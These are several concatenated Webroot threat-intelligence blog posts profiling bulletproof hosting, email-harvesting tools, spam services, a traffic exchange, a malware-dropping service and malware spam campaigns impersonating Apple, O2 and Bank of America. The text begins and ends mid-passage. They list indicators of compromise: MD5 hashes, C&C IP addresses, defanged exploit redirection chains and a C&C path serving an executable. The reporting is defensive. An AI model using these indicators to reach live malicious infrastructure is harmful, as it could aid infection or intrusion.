zvEZFhyUDD.php zz7ClGsNUS.php

We'll continue monitoring the development of this service, and post updates as soon as new features are introduced.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're

dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Bulletproof TDS/Doorways/Pharma/Spam/Warez hosting service operates in the open since 2009 - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

Operating in the open since 2009, a bulletproof hosting provider continues offering services for white, grey, and black projects, as they like to describe them, and has been directly contributing to the epidemic growth of cybercrime to the present day through its cybercriminal-friendly services.

From Traffic Distribution Systems (TDS), to **doorways** , **pharmaceutical scams** , **spam domains** and warez, the provider is also utilizing basic marketing concepts like, for instance, promotions through coupon codes in an attempt to attract more customers.

More details:

Sample screenshots of the provider's market offering, including the actual cybercrime-friendly advertisement:

The bulletproof hosting provider currently operates dedicated servers in Canada, Latvia and Ukraine, as well as VPS/VDS servers in Ukraine and Latvia. The service celebrated this year's international SysAdmin day, by issuing coupon codes offering 50% discount for all of its services.

Knowledge tip – Go through an actual contract/agreement that cybercriminals had to 'sign' before using the infamous **Russian Business Network's (RBN) bulletproof hosting service**

The service is just the tip of the iceberg in today's mature market segment for bulletproof hosting services. Legally forwarding the responsibility for the malicious activity to their customers, in between ignoring all abuse requests, these services play an inseparable part of today's modern cybercrime ecosystem relying on a combination of the following:

abuse of purely malicious bulletproof hosting infrastructure – for years, their 'even if it's there, we still don't care' type of mentality is directly resulting in fulfilled customer (cybercriminal) orders. Despite the emergence of related hosting platforms for malicious content/command and control infrastructure, bulletproof hosting services will continue to play a crucial role in fraudulent/malicious operations of cybercriminals internationally

abuse of purely legitimate infrastructure – from compromised Web sites, to compromised malware-infected hosts and legitimate services acting as command and control channels, what we're currently observing is a mixed abuse of purely malicious and purely legitimate infrastructure in an attempt by the cybercriminals behind these campaigns to make it harder for researchers/the industry to shut down their operations

active experimentation of alternative command and control channels over the years – From **Twitter, LinkedIn, Baidu, MSDN** , **Facebook** , **Google Groups** , **Amazon's EC2** , **ICQ** and **Yahoo Messenger** , we've seen all of them abused as part of a cybercriminal's command and control infrastructure

We'll continue monitoring the developments in this market segment, and post updates as soon as new 'innovative' hosting offers become available.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

DIY Craigslist email collecting tools empower spammers with access to fresh/valid email addresses - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

In need of a good reason to start using **Craigslist 'real email anonymization' option** ? We're about to give you a pretty good one. For years, the popular classified Web site has been under fire from spammers using DIY email collecting tools, allowing them to easily obtain fresh and valid emails to later be abused in fraudulent/malicious campaigns.

Let's take a peek at some of the DIY Craigslist themed spamming tools currently in (commercial) circulation.

More details:

Sample screenshots of the tools in action:

What makes an impression is not just the degree of customization of these tools, but also the fact that logical development in terms of introducing ubiquitous features typical for these DIY tools took place. Such features include, but are not limited to, the introduction for **proxy support** , outsourcing the **CAPTCHA solving** process, QA in terms of avoiding the collection of anonymous Craigslist emails, as well as the ability to tailor the collection process to the needs of the spammer through the use of custom keywords or a specific period of time.

Sadly, Craigslist isn't the only Web site that's efficiently targeted by spammers. Despite raising awareness on the concept of **harvesting fresh and valid emails from Twitter** , in real-time, back in 2009, the practice is still taking place, empowering spammers with access to an endless pool of email addresses. And that's just the tip of the iceberg.

Craigslist users are advised to take advantage of the site's '**email anonymization** ' feature, in an attempt to prevent spammers from successfully collecting their emails.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

From Vietnam with tens of millions of harvested emails, spam-ready SMTP servers and DIY spamming tools - Webroot Blog

facebook linkedin twitter

How would a cybercriminal differentiate his unique value proposition (UVP) in order to attract new customers wanting to purchase commoditized underground market items like, for instance, harvested and segmented email databases? He'd impress them with comprehensiveness and 'vertically integrated' products and services. At least that's what the cybercriminals behind the cybercrime-friendly market proposition I'm about to profile in this post are doing.

Tens of millions of harvested and segmented email databases, **spam-ready bulletproof SMTP servers** and DIY spamming tools, this **one-stop-shop for novice spammers** is also a great example of an OPSEC-unaware vendor who's not only accepting Western Union/Money Gray payments, but also, has actually included his SWIFT wire transfer bank account details.

More details:

Sample screenshots of the inventory of harvested/segmented emails courtesy of the service:

Beyond the logical abuse of these databases — the services are conveniently forwarding the responsibility for eventual abuse to the customer — for massive fraudulent/malicious spam campaigns, such databases also set up the foundations for a successful '**localized spam campaign** ', or **APT (advanced persistent threat) type of campaign** , acting as 'touch points' with the potential victims. In addition to the databases, the E-shop is offering multiple DIY spamming tools, allowing anyone who purchases them to harvest emails and send spam through the use of custom-configured SMTP servers, or relying on the ones provided by the service.

We expect to continue observing customer-ized attempts to monetize commoditized underground market items, like harvested email databases, where the degree of geolocation and quality of the 'leads', will be proportional with the long-term business potential for the vendor of the service/product.

As always, we'll continue monitoring the development of this one-stop-shop for spammers, and post updates as soon as new developments emerge.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Cybercrime-friendly underground traffic exchange helps facilitate fraudulent and malicious activity - Webroot Blog

facebook linkedin twitter

Throughout the last couple of years, the persistent demand for geolocated traffic coming from both legitimate traffic exchanges or purely malicious ones — think traffic acquisition through illegally embedded iFrames — has been contributing to the growing market segment where traffic is bought, sold and re-sold, for the sole purpose of monetizing it through illegal means.

The ultimately objective? Expose users visiting compromised, or **blackhat SEO-friendly automatically generated sites with bogus content** , to fraudulent or malicious content in the form of impersonations of legitimate Web sites seeking accounting data, or client-side exploits silently served in an attempt to have an undetected piece of malware dropped on their hosts.

A recently spotted cybercrime-friendly underground traffic exchange service empowers cybercriminals with advanced targeting capabilities on per browser version basis, applies QA (Quality Assurance) to check their fraudulent/malicious domains against the most popular community/commercial based URL black lists, and 'naturally' we found evidence that it's already been used to serve client-side exploits to unsuspecting users.

More details:

Sample screenshots of the Web-based interface for the underground traffic exchange:

Potential cybercriminals can exclude which operating systems and browser versions they don't want to see in their anticipated/hijacked traffic flow, so that they can better utilize virtually any — including outdated — Web malware exploitation kits in their campaigns. Not only does the service offer tens of thousands of unique visitors from virtually any given country, but it also allows the automatic rotation of the doorway script in those cases where it gets blacklisted by community/commercial IP reputation/URL blacklisting services/products.

Naturally, we're already aware of the malicious use of this cybercrime-friendly service, with the cybercriminals using it already redirecting the traffic to their favorite Web malware exploitation kits.

Sample screenshot of a Web malware exploitation kit statistics used by a user of the service:

'Gate' domain (in combination with a pseudo-random sudbomain) used over the past 24 hours: bibinomiopertan.ru – 62.76.188.147 – Email: seo@me.com

The following domains are known to have responded to the same IP: *akeralopertinmer.ru andyfoxx.com areanantorius.ru asterlotiomaki.ru atlant-iz-msk.ru baris-iz-astani.ru bibinomiopertan.ru binomen.ru bipo-invest.ru bk-astana-kaz.ru bk-azovmash-ukraina.ru bk-vef-latvia.ru djfskdfjrewrer.ru frewfrfdfdsfsfewr.ru hk-akbars-best.ru hk-dinamo-msk.ru hk-krasno-sinie-armeici-msk.ru hkloko-vsegda-vpered.ru hksibir-novosibirsk.ru hkslovan-bratislava.ru jfidsfiurchdjhfdjf.ru jksjdkfjsdkfj.ru jsbalakkoir.ru kjfjgdglferweew.ru movistar-team-fan.ru neftehimik-nignekamsk.ru nflnews.ru niropotinores.ru nortok-invest.ru omskiy-avangard.ru pasv.ru pragskie-lion.ru radioshack-leopard-fan.ru salavat-ula-ufa.ru severstal-cherepovets.ru spnation.ru team-saxo-tinkoff-fan.ru tractor-velikogo-goroda.ru uweyqwiuikshchdffhds.ru welsa-invest.ru*

This underground market traffic exchange is just the tip of the iceberg, when it comes to the monetization of hijacked legitimate Web traffic. We'll continue monitoring this growing market segment, and post updates as soon as we spot new services who have the potential to cause widespread damage, thanks to their customer-ized service offerings.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Newly launched managed 'malware dropping' service spotted in the wild - Webroot Blog

facebook linkedin twitter

Among the most common misconceptions about the way a novice cybercriminal would approach his potential victims has to do with the practice of having him looking for a 'seed' population to infect, so that he can then use the initially infected users as platform to scale his campaign. In reality though, that used to be the case for cybercriminals, years ago, when **managed cybercrime-as-a-service** types of underground market propositions were just beginning to materialize.

In 2013, the only thing a novice cybercriminal wanting to gain access to thousands of PCs located in a specific country has to do is to make a modest investment in the (managed) process of obtaining it. Let's take a peek at one of the most recently launched such services.

More details:

Sample screenshot of the service's interface:

A potential customer wanting to 'drop' any given executable onto the hosts of users located in Australia, Canada, Germany, Mexico, Netherlands, Russian Federation, Ukraine, United Kingdom or the United States, would simply have to provide a 'live link' to the actual executable, choose the country of his choice — 1000 hosts minimum — pay, and have his malware dropped on hosts based in his country/countries of choice.

This vendor is **a good example of greed** oriented, rather than **sociocultural/socioeconomic** driven underground market proposition, as he's offering access to compromised hosts based in Russia and Ukraine. A practice which we expect to continue observing, on behalf of novice cybercriminals looking for ways to differentiate their underground market proposition.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Fake 'Apple Store Gift Card' themed emails serve client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Apple Store users, beware!

A currently ongoing malicious spam campaign is attempting to trick users into thinking that they've successfully received a legitimate 'Gift Card' worth $200. What's particularly interesting about this campaign is that the cybercriminal(s) behind it are mixing the infection vectors by relying on both a malicious attachment and a link to the same malware found in the malicious emails. Users can become infected by either executing the attachment or by clicking on the client-side exploits serving link found in the emails.

More details:

Sample screenshot of the spamvertised email:

Detection rate for the malicious attachment – **MD5: 74cff87704aec030d7ad1171366aff87** – detected by 8 out of 46 antivirus scanners as UDS:DangerousObject.Multi.Generic; PWSZbot-FBX!74CFF87704AE.

Once executed, the sample starts listening on port 7499.

It the creates the following Mutexes: *Local{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A} Local{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A} Local{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A} Local{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A} Local{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A} Local{911F9FCD-AFAC-6AF2-DBC9-BE58FA349D4A} Global{2E06BA86-8AE7-D5EB-DBC9-BE58FA349D4A} Global{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A} Global{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A} Global{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A} Global{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A} Global{0BB5ADEF-9D8E-F058-DBC9-*

BE58FA349D4A} Global{BB67AFC4-9FA5-408A-DBC9-BE58FA349D4A} Global{5971F053-C032-A29C-11EB-B06D3016937F} Global{5971F053-C032-A29C-75EA-B06D5417937F} Global{5971F053-C032-A29C-4DE9-B06D6C14937F} Global{5971F053-C032-A29C-65E9-B06D4414937F} Global{5971F053-C032-A29C-89E9-B06DA814937F} Global{5971F053-C032-A29C-BDE9-B06D9C14937F} Global{5971F053-C032-A29C-51E8-B06D7015937F} Global{5971F053-C032-A29C-81E8-B06DA015937F} Global{5971F053-C032-A29C-FDE8-B06DDC15937F} Global{5971F053-C032-A29C-0DEF-B06D2C12937F} Global{5971F053-C032-A29C-5DEF-B06D7C12937F} Global{5971F053-C032-A29C-95EE-B06DB413937F} Global{5971F053-C032-A29C-F1EE-B06DD013937F} Global{5971F053-C032-A29C-89EB-B06DA816937F} Global{5971F053-C032-A29C-F9EF-B06DD812937F} Global{5971F053-C032-A29C-E5EF-B06DC412937F} Global{5971F053-C032-A29C-0DEE-B06D2C13937F} Global{5971F053-C032-A29C-09ED-B06D2810937F} Global{5971F053-C032-A29C-51EF-B06D7012937F} Global{5971F053-C032-A29C-35EC-B06D1411937F} Global{5971F053-C032-A29C-55EF-B06D7412937F} Global{DDB39BDC-ABBD-265E-DBC9-BE58FA349D4A} Global{2E1C200D-106C-D5F1-DBC9-BE58FA349D4A} MPSWabDataAccessMutex MPSWABOlkStoreNotifyMutex

And phones back to the following C&C servers: *50.65.158.6 216.56.52.130 70.169.168.37 99.146.98.160 189.242.35.122 157.100.168.252 184.39.153.172 178.238.233.29 68.22.158.150 108.210.219.218 108.74.172.39 99.0.126.100 90.156.118.144 217.114.113.148 66.63.204.26 130.251.186.103 75.1.200.201 188.129.147.67 69.115.119.227 94.240.232.143 95.104.0.54 76.226.134.206 86.135.15.147 211.33.132.158 121.160.84.54 76.189.224.55 67.78.107.130 110.169.227.239 46.121.59.30 66.101.206.254*

Client-side exploitation chain: *hxxp://www.smartadvmedia.com/h8qn42r.html* ->

hxxp://nutnet.ir/dl/nnnew.txt -> *hxxp://www.emotiontag.net/cp/nnnew.txt* -> *hxxp://aurummulier.pl/nnnew.txt* -> *hxxp://stevecozz.com/topic/sessions-folk-binds.php* – 173.246.104.52 – Email: frankieags@hotmail.com

Related client-side exploits serving domains known to have phoned back to the same IP/have been registered with the same email: *gottaghost.com gottagirl.net gottagirl.com gottaguy1.com gottagirl.info gottagirl.us*

Detection rate for a sampled client-side exploit: **MD5: 91cb051d427bd7b679e1abc99983338e** – detected by 2 out of 45 antivirus scanners as Mal/ExpJava-F.

Upon successful client-side exploitation, the campaign once again drops MD5: 74cff87704aec030d7ad1171366aff87.

We're also aware of the following malicious MD5s that phoned back to same C&C servers over the past 24 hours: *MD5: 938a74b82f205c90606861d4ea37d48f MD5: 24f98624699be0fdc74ce2f02340f67d MD5: 3309b71b91851af8a2590a5f57649fd7 MD5: 2bade056325fcfec7b24618a5ee374bd MD5: fcdfbc0604056f5a188431ef1d15549b MD5: 074192e7f3b35725b9e14cbdc5189f6c MD5: fcdfbc0604056f5a188431ef1d15549b MD5: 074192e7f3b35725b9e14cbdc5189f6c MD5: 139fe84beff22ffeb1ceef46fb243cbb MD5: ed867f2eeb75aeb0392914022e62f9e2 MD5: 0be1b7f16091833da78f2a584ff4ecec MD5: afc568ef98c67654ee89fe3ea1610408 MD5: 3ab0d85967e52ac246c4d52244f3dfc9 MD5: bf999b907ab611cb89aacd6304d87a68 MD5: b91a6e25625c724960990bdca9030bf4 MD5: 3af3b678570b3e30184db786b611d437 MD5: cb58ff571df8ba9c7960bcd03e35466b MD5: c3b1884cda34740b38f4a273e3091e9e MD5: d8cc4e1c491164f671a9a2e7f81178f0 MD5: 7d165513e1377213f231e7d89dcf3eee MD5:*

b10d073b345f77426bac871d8a11498d MD5:
38f247a3dec68004469bf4c745ee3617 MD5:
f4ac698edd91803fbec358edcec1e09c MD5:
27092120073d9ec572f0a83329eaa46d MD5:
65e83c141307e3df6783c31b75204cbe MD5:
a0fe0824255b5f46b03bf33579ff9706 MD5:
a5f399fa0f31d2d7695e6ce406ae434d MD5:
80c86f34f2ae4062a7ec6918d4cd8e69 MD5:
1900dcd0c3a94f46a2b939b370d2d93f MD5:
e7569ff62e94952e03026d431ff7ad95 MD5:
092adf8366c7ccc584f590892225100b MD5:
48cc5708ebe76f3908d3140ee9d05ece

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

One-stop-shop for spammers offers DKIM-verified SMTP servers, harvested email databases and training to potential customers - Webroot Blog

facebook linkedin twitter

In a series of blog posts, we’ve been highlighting the ease, automation, and sophistication of today’s customer-ized managed spam ‘solutions’, setting up the foundations for a successful fraudulent or purely malicious spam campaign, like **the ones we intercept and protect against** on a daily basis.

From **bulletproof spam-friendly SMTP servers** , to **segmented** harvested **databases** for any given country internationally, **managed spamming appliances** , to segmented databases of APT-friendly (advanced persistent threat) emails belonging to **the U.S government/military** , for years, the cybercriminals operating these managed services have been directly contributing to the epidemic dissemination of fraudulent/malicious emails internationally.

We’ve recently spotted a Russian one-stop-shop for spammers offering virtually everything a spammer can ‘vertically integrate’ into, in an attempt to occupy a bigger share of this underground market segment. Let’s take a peek at the service and discuss its unique value proposition (UVP).

More details:

Sample screenshots of the services of the ‘vertically-integrated’ Russian one-stop-spamming-shop:

Next to pointing out the exact number of spam message the server is capable of sending on per hour/per day basis, the service explicitly states that Socks4/5 enabled malware-infected hosts are not necessary for it to work, indicating that it’s relying on bulletproof hosting infrastructure. Moreover, the DKIM (DomainKeys Identified Mail) enabled servers will be constantly monitored, and if they ever get RBL-ed (Real-time Blackhole List), a new clean server IP will be offered to the customer free of charge.

Potential spammers are also prohibited from spamming phishing emails, adult content and drugs (prescription only drugs appear to be allowed though).

The service is ‘naturally’ offering segmented harvested email databases, in this case, emails belonging to Russian citizens.

Furthermore, the service is also exclusively offering emails belonging to some of Russia’s most popular free email service providers.

In addition to these segmented databases, the service is also offering practical training lasting between 6 to 8 hours, helping novice spammers understand how to set up their SMTP server, how to bypass spam filters, and how to configure a popular DIY type of spamming application.

In a world dominated by botnets spreading billions of fraudulent/malicious spam emails, certain vendors of managed spam services will do anything to differentiate their unique value proposition (UVP). Including re-introducing a popular spammer’s tactic in 2013, namely bulletproof spam-friendly DKIM-supporting (DomainKeys Identified Mail) SMTP servers. What’s so special about DKIM-enabled SMTP servers, anyway?

Many of our valued blog readers **definitely remember** a time when DKIM was the future, or at least a logical response by major Internet properties on their way to combat malicious and fraudulent emails impersonating them. However, spammers quickly adapted by **exploiting the weakest link** in the account registration process — **CAPTCHAs** — and by doing so, quickly developed **a new market segment** – Web-based spam sending platforms relying on hundreds of **thousands of automatically registered email accounts** at some of the most popular free Web based email service providers. These platforms/managed Web-based spam sending services inevitably resulted in an increase in spam coming from legitimate email providers.

The business model utilized by the cybercriminals behind this service relies on the general availability of bulletproof hosting providers that allow — usually through a franchise based model — others to re-brand and re-purpose their offerings in a way that would attract even more customers to these platforms for hosting and disseminating malicious and fraudulent content.

We'll continue monitoring this ever-green market segment and post updates as soon as we spot another cybercrime-friendly spam service.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Cybercriminals spamvertise fake 'O2 U.K MMS' themed emails, serve malware - Webroot Blog

facebook linkedin twitter

British users, watch what you execute on your PCs!

An ongoing malicious spam campaign is impersonating U.K's O2 mobile carrier, in an attempt to trick its customers into executing a fake 'MMS message" attachment found in the emails. Once socially engineered users do so, their PCs automatically join the botnet operated by the cybercriminal/gang of cybercriminals whose activities we continue to monitor.

More details:

Detection rate for the malicious attachment – **MD5: 898101c6689522c336f6d2c6aabd6c8c** – detected by 9 out of 46 antivirus scanners as Heuristic.BehavesLike.Win32.Suspicious-BAY.K; Win32/TrojanDownloader.Zurgop.AW.

Once executed, the sample starts listening on port 6501.

It then creates the following Mutexes: *3161B74B4743E1643757A7220636106970144646 Global{BB67AFC4-9FA5-408A-DBC9-BE58FA349D4A} CTF.TimListCache.FMPDefaultS-1-5-21-1547161642-507921405-839522115-1004MUTEX.DefaultS-1-5-21-1547161642-507921405-839522115-1004 Local{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A} Local{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A} Local{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A} Local{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A} Local{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A} Local{911F9FCD-AFAC-6AF2-DBC9-BE58FA349D4A} Global{2E06BA86-8AE7-D5EB-DBC9-BE58FA349D4A} Global{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A} Global{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A} Global{D15F4CEE-7C8F-2AB2-DBC9-*

BE58FA349D4A} Global{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A} Global{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A} Global{5C56C404-F465-A7BB-11EB-B06D3016937F} Global{5C56C404-F465-A7BB-75EA-B06D5417937F} Global{5C56C404-F465-A7BB-4DE9-B06D6C14937F} Global{5C56C404-F465-A7BB-65E9-B06D4414937F} Global{5C56C404-F465-A7BB-89E9-B06DA814937F} Global{5C56C404-F465-A7BB-BDE9-B06D9C14937F} Global{5C56C404-F465-A7BB-51E8-B06D7015937F} Global{5C56C404-F465-A7BB-81E8-B06DA015937F} Global{5C56C404-F465-A7BB-FDE8-B06DDC15937F} Global{5C56C404-F465-A7BB-0DEF-B06D2C12937F} Global{5C56C404-F465-A7BB-5DEF-B06D7C12937F} Global{5C56C404-F465-A7BB-95EE-B06DB413937F} Global{5C56C404-F465-A7BB-F1EE-B06DD013937F} Global{5C56C404-F465-A7BB-89EB-B06DA816937F} Global{5C56C404-F465-A7BB-F9EF-B06DD812937F} Global{5C56C404-F465-A7BB-E5EF-B06DC412937F} Global{5C56C404-F465-A7BB-0DEE-B06D2C13937F} Global{5C56C404-F465-A7BB-09ED-B06D2810937F} Global{5C56C404-F465-A7BB-51EF-B06D7012937F} Global{5C56C404-F465-A7BB-35EC-B06D1411937F} Global{5C56C404-F465-A7BB-85EC-B06DA411937F} Global{5C56C404-F465-A7BB-FDEF-B06DDC12937F} Global{DDB39BDC-ABBD-265E-DBC9-BE58FA349D4A} MPSWabDataAccessMutex MPSWABOlkStoreNotifyMutex

And phones back to the following C&C servers: *hxxp://62.76.187.147/nsmp/og/index.php hxxp://62.76.187.113/par/22.exe 62.76.187.147 62.76.187.113 88.68.122.74 70.169.168.37 50.65.158.6 99.146.98.160 189.242.35.122 108.74.172.39 108.210.219.218 99.0.126.100 90.156.118.144 178.238.233.29 68.22.158.150 184.39.153.172 66.63.204.26 217.114.113.148 76.226.134.206 203.45.203.83 130.251.186.103 213.123.186.173 69.115.119.227 75.1.200.201 77.53.215.241 108.245.72.131 71.85.110.76 217.41.24.37*

68.45.158.241 182.52.92.50 81.130.84.78 88.242.132.171 188.129.147.67 31.192.45.65 68.117.10.58

Related malicious MD5s known to have phoned back to the same C&C IP (62.76.187.113) : *MD5: 27da5e0800d937f03c5fbdff8aeb52c3 MD5: 83ab87dba8600e5f6eabad30c6c83a89 MD5: 8c8d43c8cfacf6d5c04e6f6ac7d4ff54*

Related malicious MD5s known to have phoned back to the rest of the C&C IPs: *MD5: b3ea4bff1b0d1ddd938edcc1993098fe MD5: 0e6128900197d4ddc03579925878df9b MD5: b87646a8903ae9b96ec03c626d966487 MD5: 22989829fbec90ed6e6b2ffb4d9e05f0 MD5: 4108733a631f090b1678dfaf628827e0 MD5: 40e652cb3f16036f0ec5ff420c6fe32d MD5: 40df940b645b858a5f18434530083c9d MD5: 458b7b551270d27ddda4d453d6e01a37 MD5: 42fbb3a1262fe6765dd5b088dda68c17 MD5: 45a0fbc793b29d24db0d9b46c68fc43d MD5: 4353b1fa1f82917dd785c50fc462f6e1 MD5: 45eebb5b36d5484cd86a4346e291d3f5 MD5: 3f2a82b23cfa41009c8bf1aa17dd9596 MD5: 450c2cf0dd49e402544b6371aac794d7 MD5: 2f2520d1c93a679021c5a00ab6f66c2f MD5: 3a71b1886c45a94dea2812c016c98591 MD5: 37c5dbaac8e18324ed448f2db7bfc161 MD5: 33075ffd7aed4835b0b682200c3f04ac MD5: 2a176b72e6ab78139bfa4e180baf64eb MD5: 81225759067aef4201c99f2ffe2f4b7b MD5: 32e60c4f951b9dd7eac4b59c133fb7a0 MD5: 30e90438022ab99154290fbca4f886d7 MD5: 253943239f595a0104fc5eb986875f10 MD5: 2289fbcb158e2eec17a659264b957225 MD5: 1f5b02fd972d51140a6a5ef835e91b54 MD5: 250c6b131c6a3958f4d533f9b206ef41 MD5: 1e7ccdbc40e911b99fed29d5c8c4954b MD5: 20a1a83437535c0cb8d9c1b89f8e52ac MD5: 1c4d94ee49acf4de708ffbf389c7e3d6 MD5:*

1838365520495ef13c7cb04b8c9f16be MD5:
178e4c2335e6aad1b2512f84ad7f5c48 MD5:
1f96b6582238263b9bc572dba8cdca2d MD5:
18d2945660a11009c10ed1827287c45a MD5:
1d9b592b424fdb11d8b53392c6840c89 MD5:
173843e9d668a5ec25b5efb186dc68ec MD5:
14ef08883becccbaebe72ffda5dde77c MD5:
1464af0b8c22df305ca7c9b13c2736e4 MD5:
11b4adc82be692ecdb2fa72e5394c83e MD5:
103eaf337190472e4ec4e956c4fe2bcf MD5:
09eaf3edb1b57fed6412ee5604583905 MD5:
0b08c71d47321000973e78f85c07e98c MD5:
0555039e122f36e94225414a895124a0

We've also seen these C&C IPs (**108.74.172.39; 90.156.118.144**) in the following already profiled malicious campaigns:

FedWire 'Your Wire Transfer' themed emails lead to malware Spamvertised 'Export License/Invoice Copy' themed emails lead to malware Fake 'iPhone Picture Snapshot Message' themed emails lead to malware Citibank 'Merchant Billing Statement' themed emails lead to malware Cybercriminals impersonate New York State's Department of Motor Vehicles (DMV), serve malware Fake 'Unsuccessful Fax Transmission' themed emails lead to malware Cybercriminals impersonate Bank of America (BofA), serve malware

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Malicious Bank of America (BofA) 'Statement of Expenses' themed emails lead to client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Bank of America (BofA) customers, watch what you click on!

A currently ongoing malicious spam campaigns is attempting to entice BofA customers into clicking on the client-side exploit serving URLs found in legitimate looking ‘Statement of Expenses’ themed emails. Once users with outdated third-party applications and browser plugins click on the link, an infection is installed that automatically converts their PC’s into zombies under the control of the botnet operated by the cybercriminal/gang of cybercriminals behind the campaign.

More details:

Sample screenshot of the spamvertised email:

Sample redirection chain: *hxxp://medikalgorus.com/7k4lsdc.html* -> *hxxp://nutnet.ir/dl/nnnew.txt* -> *hxxp://emotiontag.net/cp/nnnew.txt* -> *hxxp://aurummulier.pl/nnnew.txt* -> *hxxp://drstephenlwolman.com/topic/sessions-folk-binds.php*

Client-side exploits serving URL: *hxxp://drstephenlwolman.com:80/topic/sessions-folk-binds.php?csgDjSDzgnivUPJ=OqhBlPjQNTGtUEj&nwuILeihO=zlCYepniDHdPh*

Detection rate for a sampled JAR archive – **MD5: 733d2db8f7e88b79fab66e80e97a42a3** – detected by 1 out of 45 as UDS:DangerousObject.Multi.Generic.

Upon successful client-side exploitation, the campaign drops **MD5: 5facf6703483704fd04245f65662a8e5** – detected by 7 out of 46 as PWS:Win32/Zbot.gen!AM.

Once executed, the sample starts listening on port 5748.

It also creates the following Mutexes: *Local{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A}* *Local{B0B9FAFC-CA9D-4B54-DBC9-*

*BE58FA349D4A} Local{D15F4CEE-7C8F-2AB2-DBC9-
BE58FA349D4A} Local{D15F4CE9-7C88-2AB2-DBC9-
BE58FA349D4A} Local{0BB5ADEF-9D8E-F058-DBC9-
BE58FA349D4A} Local{911F9FCD-AFAC-6AF2-DBC9-
BE58FA349D4A} Global{2E06BA86-8AE7-D5EB-DBC9-
BE58FA349D4A} Global{B0B9FAFD-CA9C-4B54-DBC9-
BE58FA349D4A} Global{B0B9FAFC-CA9D-4B54-DBC9-
BE58FA349D4A} Global{D15F4CEE-7C8F-2AB2-DBC9-
BE58FA349D4A} Global{D15F4CE9-7C88-2AB2-DBC9-
BE58FA349D4A} Global{0BB5ADEF-9D8E-F058-DBC9-
BE58FA349D4A} Global{BB67AFC4-9FA5-408A-DBC9-
BE58FA349D4A} Global{D30C91FE-A19F-28E1-11EB-
B06D3016937F} Global{D30C91FE-A19F-28E1-75EA-
B06D5417937F} Global{D30C91FE-A19F-28E1-4DE9-
B06D6C14937F} Global{D30C91FE-A19F-28E1-65E9-
B06D4414937F} Global{D30C91FE-A19F-28E1-89E9-
B06DA814937F} Global{D30C91FE-A19F-28E1-BDE9-
B06D9C14937F} Global{D30C91FE-A19F-28E1-51E8-
B06D7015937F} Global{D30C91FE-A19F-28E1-81E8-
B06DA015937F} Global{D30C91FE-A19F-28E1-FDE8-
B06DDC15937F} Global{D30C91FE-A19F-28E1-0DEF-
B06D2C12937F} Global{D30C91FE-A19F-28E1-5DEF-
B06D7C12937F} Global{D30C91FE-A19F-28E1-95EE-
B06DB413937F} Global{D30C91FE-A19F-28E1-F1EE-
